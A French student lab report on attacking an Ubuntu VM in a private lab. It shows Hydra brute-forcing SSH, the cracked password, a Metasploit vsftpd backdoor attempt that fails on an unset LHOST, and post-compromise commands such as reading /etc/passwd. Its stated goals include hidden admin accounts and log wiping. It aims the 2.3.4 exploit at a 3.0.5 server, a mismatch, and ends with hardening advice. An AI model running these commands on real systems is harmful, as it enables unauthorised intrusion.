COMPTE RENDU DU TP 3.1: Attaque d'un serveur (Ubuntu)

1. Présentation de l'Environnement

- Machine Attaquante : Kali Linux (IP : 192.168.56.30)
- Machine Cible : Serveur Ubuntu (IP : 192.168.56.10)
- Machine Cible : Windows 10 (IP : 192.168.56.20)

❖ Introduction

➢ Contexte

Ce travail pratique s'inscrit dans la continuité d'une phase d'exploitation réussie. Après avoir identifié et exploité une vulnérabilité pour obtenir un accès initial sur deux cibles distinctes ; une machine Ubuntu (Linux)et une machine Windows 10, nous nous plaçons désormais dans la peau d'un attaquant cherchant à sécuriser sa position. Le contexte simule une intrusion réelle où l'accès obtenu via un exploit peut être instable ou supprimé par un redémarrage du service vulnérable.

➢ Objectifs

L'objectif principal de ce TP est de mettre en œuvre des mécanismes de « persistance », permettant de garantir un accès permanent et discret aux systèmes compromis. Les étapes clés incluent :

- ✓ L'évaluation des privilèges : Passer d'un utilisateur restreint à un accès administrateur (root ou SYSTEM) pour manipuler les fichiers sensibles.
- ✓ La création des portes dérobées (Backdoors): Configurer des comptes d'administration cachés, tels que : « **backupadmin »** sur Linux ou « **supportadmin »** sur Windows, pour contourner l'authentification standard.
- ✓ Configuration d'accès distants : Déployer des clés SSH pour Linux et activer le protocole RDP (Bureau à distance) pour Windows afin de faciliter les reconnexions futures.
- ✓ Nettoyage des traces : Apprendre l'importance de la discrétion en effaçant les journaux d'événements (logs) pour minimiser les chances de détection par les outils de surveillance.

2 : Attaque par Force Brute (SSH)

Nous utilisons l'outil Hydra pour tester une liste de mots de passe sur le service SSH de la cible pour l'utilisateur **jovanie (nom du pc Ubuntu).**

Commande exécutée:

hydra -l jovanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.10

- **Résultats et Capture**

L'attaque a permis de découvrir l'identifiant suivant :

Utilisateur : jovanie

Mot de passe :112234

```
┌──(jovanie㉿kali)-[~]
└─$ hydra -l jovanie -P test_pass.txt ssh://192.168.56.10 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 04:
46:58
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip
 waiting)) from a previous session found, to prevent overwriting, ./hydra.res
tore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try
 per task
[DATA] attacking ssh://192.168.56.10:22/
[22][ssh] host: 192.168.56.10   login: jovanie   password: 112234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-26 04:
47:09

┌──(jovanie㉿kali)-[~]
└─$
```

Accès au système

- La connexion est établie via SSH

ssh jovanie@192.168.56.10; puis le mot de passe découvert.

```
┌──(jovanie㉿kali)-[~]
└─$ ssh jovanie@192.168.56.10
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established
.
ED25519 key fingerprint is: SHA256:MiS/E/0NJ+TuPtS8SQQWlLFEoQnQgj11xOd3c+TxNt
A
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.56.10' (ED25519) to the list of known hos
ts.
jovanie@192.168.56.10's password:
Permission denied, please try again.
jovanie@192.168.56.10's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-41-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

534 updates can be applied immediately.
296 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

jovanie@ubuntu123:~$
```

- Commande à exécuter pour prendre le contrôle du serveur distant :

Whoami ; pwd ; ls

```
jovanie@ubuntu123:~$ whoami
jovanie
jovanie@ubuntu123:~$ pwd
/home/jovanie
jovanie@ubuntu123:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  Videos
jovanie@ubuntu123:~$
```

3 : Exploitation de vsftpd (Metasploit)

Installation du service FTP de la cible(Ubuntu) & vérification de la version utiliser **(vsftpd 3.0.5) :** la capture ci-contre nous illustre cette commande.

```
jovanie@ubuntu123:~$ sudo apt install vsftpd -y
[sudo] password for jovanie:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 546 not upgraded.
Need to get 120 kB of archives.
After this operation, 312 kB of additional disk space will be used.
Get:1 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 vsftpd amd64 3.0.5-0ubuntu3.1 [120 kB]
Fetched 120 kB in 1s (114 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 151601 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0ubuntu3.1_amd64.deb ...
Unpacking vsftpd (3.0.5-0ubuntu3.1) ...
Setting up vsftpd (3.0.5-0ubuntu3.1) ...
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /us
r/lib/systemd/system/vsftpd.service.
Processing triggers for man-db (2.12.0-4build2) ...
jovanie@ubuntu123:~$ vs
vs: command not found
jovanie@ubuntu123:~$ vsftpd -v
vsftpd: version 3.0.5
jovanie@ubuntu123:~$
```

Commandes de préparation : sur l'attaquant **Kali** nous avons insérer

msfconsole

```
┌──(jovanie㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Add routes to pivot through a compromised host using route
add <subnet> <session_id>

=[ metasploit v6.4.84-dev-                         ]
+ -- --=[ 2496 exploits - 1283 auxiliary - 431 post       ]
+ -- --=[ 1610 auxiliary - 616 payloads - 49 encoders     ]
+ -- --=[ 13 evasion                                     ]

Metasploit Tip: Use sessions -l to interact with all open sessions

msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

- Les commandes ci-après ont été effectues dans la console

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

set RHOSTS 192.168.56.10

3.2. Lancement de l'exploit

Commande d'exécution :

Exploit

```
msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
  Description
   -  ----                                  ---------------  ----       -----
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes
  VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes
  VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exp
loit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > RUN
[-] Unknown command: RUN. Did you mean run? Run the help command for more det
ails.
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 192.168.56.10:21 - Msf::OptionValidateError One or more options failed to
 validate: LHOST.
```

4 : analyse de la compromission

C'est l'étape cruciale pour l'analyse des privilèges. Une fois le shell ouvert, l'attaquant peut exécute les commandes suivantes :

- Vérification des privilèges

Commande : **whoami**

- Observation des utilisateurs

Commande : **cat /etc/passwd**

- Identification du système

Commande : **uname –a**

5. Utilisation avancée des outils

Hydra

Hydra est un "login cracker" parallélisé qui permet de tester des combinaisons d'identifiants sur de nombreux protocoles.

- ✓ **Commande** : hydra -L users.txt -P passwords.txt ssh://IP
- ✓ **Rôle** : Effectuer une attaque par dictionnaire (ou brute-force) contre le service SSH de la cible.

-L : Indique le fichier contenant la liste des noms d'utilisateurs.

-P : Indique le fichier contenant la liste des mots de passe.

Cas d'usage : Tester la robustesse de la politique de mots de passe d'une entreprise pour s'assurer qu'aucun compte n'utilise d'identifiants par défaut ou trop simples.

Metasploit

Metasploit est un framework d'exploitation utilisé pour tester et valider des vulnérabilités.

show options

- **Rôle** : Afficher tous les paramètres de configuration du module sélectionné (exploit ou auxiliaire).
- **Cas d'usage** : Indispensable avant de lancer une attaque pour vérifier si l'adresse IP de la cible (RHOSTS) et de l'attaquant (LHOST) sont correctement renseignées.

info

- **Rôle** : Fournir une description détaillée du module, ses auteurs, ses références (CVE) et les cibles logicielles précises.
- **Cas d'usage** : Vérifier que l'exploit choisi est bien adapté à la version du système d'exploitation détectée sur la machine cible.

  - **sessions**

- **Rôle** : Lister toutes les connexions actives (**shells ou sessions Meterpreter**) ouvertes sur les machines compromises.
- **Cas d'usage** : Permet de basculer d'une machine compromise à une autre ou de reprendre le contrôle d'un accès précédemment obtenu.

6. Recommandations de sécurité

Pour protéger le système contre les attaques démontrées, voici les mesures concrètes :

1. Désactiver l'authentification par mot de passe SSH : Cela rend les attaques avec Hydra totalement inefficaces.
2. Utiliser des clés SSH : L'authentification par paire de clés est beaucoup plus sécurisée qu'un mot de passe traditionnel.
3. Mettre à jour les services : L'application régulière de correctifs de sécurité (patchs) comble les failles utilisées par Metasploit.
4. Supprimer les services vulnérables : Si un service (comme un vieux serveur FTP) n'est pas indispensable, sa suppression réduit la surface d'attaque.

7. Conclusion

Le TP démontre que la sécurité ne repose pas seulement sur des mots de passe robustes, mais aussi sur la maintenance des services logiciels. Une faille applicative est souvent plus dévastatrice car elle permet de contourner totalement les mécanismes d'authentification classiques. Il en ressort donc qu'une vulnérabilité est une réalité concrète et non théorique ; L'exploitation peut être très rapide si l'attaquant dispose des bons outils. Les mauvaises pratiques (mots de passe faibles, services non patchés) ont des conséquences immédiates et critiques pour l'infrastructure d'une entreprise.